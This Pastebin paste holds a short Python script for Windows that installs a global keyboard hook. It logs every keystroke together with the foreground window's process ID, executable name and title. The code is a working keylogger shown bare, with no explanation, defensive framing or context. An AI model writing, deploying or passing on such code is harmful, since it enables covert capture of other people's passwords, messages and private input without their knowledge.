Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from ctypes import *
- import pyHook
- import pythoncom
- import win32clipboard
- user32 = windll.user32
- kernel32 = windll.kernel32
- psapi = windll.psapi
- current_window = None
- def get_current_process():
- hwnd = user32.GetForegroundWindow()
- pid = c_ulong(0)
- user32.GetWindowThreadProcessId(hwnd, byref(pid))
- process_id = "%d" % pid.value
- executable = create_string_buffer(b"\x00" * 512)
- h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
- psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
- window_title = create_string_buffer(b"\x00" * 512)
- length = user32.GetWindowTextA(hwnd,byref(window_title),512)
- #print('\n')
- print("[PID:%r|%s| %r]" %(process_id, executable.value, window_title.value))
- kernel32.CloseHandle(hwnd)
- kernel32.CloseHandle(h_process)
- def KeyStroke(event):
- global current_window
- if event.WindowName != current_window:
- current_window= event.WindowName
- get_current_process()
- print(event.Key)
- return True
- kl = pyHook.HookManager()
- kl.KeyDown = KeyStroke
- kl.HookKeyboard()
- pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement